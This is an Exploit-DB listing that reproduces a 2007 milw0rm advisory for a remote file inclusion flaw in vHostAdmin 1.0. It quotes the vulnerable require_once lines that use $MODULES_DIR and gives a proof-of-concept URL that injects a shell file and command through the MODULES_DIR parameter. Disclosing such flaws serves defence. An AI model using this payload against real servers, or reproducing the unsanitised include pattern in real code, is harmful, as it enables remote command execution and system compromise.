vHostAdmin Exploit

vendor:

vHostAdmin

by:

Dr Max Virus

7.5

CVSS

HIGH

Remote Code Execution

CWE

Product Name: vHostAdmin

Affected Version From: 1

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

This exploit allows an attacker to execute arbitrary commands on a target system by manipulating the MODULES_DIR parameter in the main.php script of the vHostAdmin application.

Mitigation:

The vendor should release a patch to fix the vulnerability. In the meantime, users should restrict access to the affected script or disable the vHostAdmin application.

Source

Exploit-DB raw data:

               _________________________________
      ________|                                 |________
      \       |         Dr Max Virus            |       /
       \      |                                 |      /
       /      |_________________________________|      \
      /___________)                         (___________\
------------------------------------------------------------------------------------------------------------------------
Script:vHostAdmin
Affected Version:1.0
Risk:Highly Critical
Downlaoad:http://www.inter7.com/vhostadmin/vhostadmin-cvs-1112134662.tar.gz
------------------------------------------------------------------------------------------------------------------------
Author:Dr Max Virus
------------------------------------------------------------------------------------------------------------------------
Bug in (modules/mail/main.php)
Vul Code;
require_once($MODULES_DIR . '/mail/domains.php');
require_once($MODULES_DIR . '/mail/users.php');
require_once($MODULES_DIR . '/mail/forwards.php');
------------------------------------------------------------------------------------------------------------------------
POC:
http://[target]/[path]/modules/mail/main.php?MODULES_DIR=shell.txt?&cmd=0wn3d 
By Dr Max Virus;
------------------------------------------------------------------------------------------------------------------------
Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk
------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-24]